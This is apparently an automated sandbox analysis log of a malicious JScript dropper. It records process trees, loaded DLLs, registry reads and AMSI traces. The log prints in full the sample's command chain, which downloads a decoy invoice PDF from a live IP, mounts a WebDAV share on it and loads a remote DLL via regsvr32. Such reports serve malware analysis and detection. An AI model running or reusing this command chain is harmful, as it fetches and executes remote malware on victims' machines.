Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 44462735347649449.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@28/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zokxv314.rjq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 44462735347649449.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44462735347649449.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1528,i,7753790518022009502,16897953190388194074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1528,i,7753790518022009502,16897953190388194074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9157.js.csv");ITextStream.WriteLine(" entry:8615 f:ypjdbawe");ITextStream.WriteLine(" exec:2 f:ypjdbawe");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
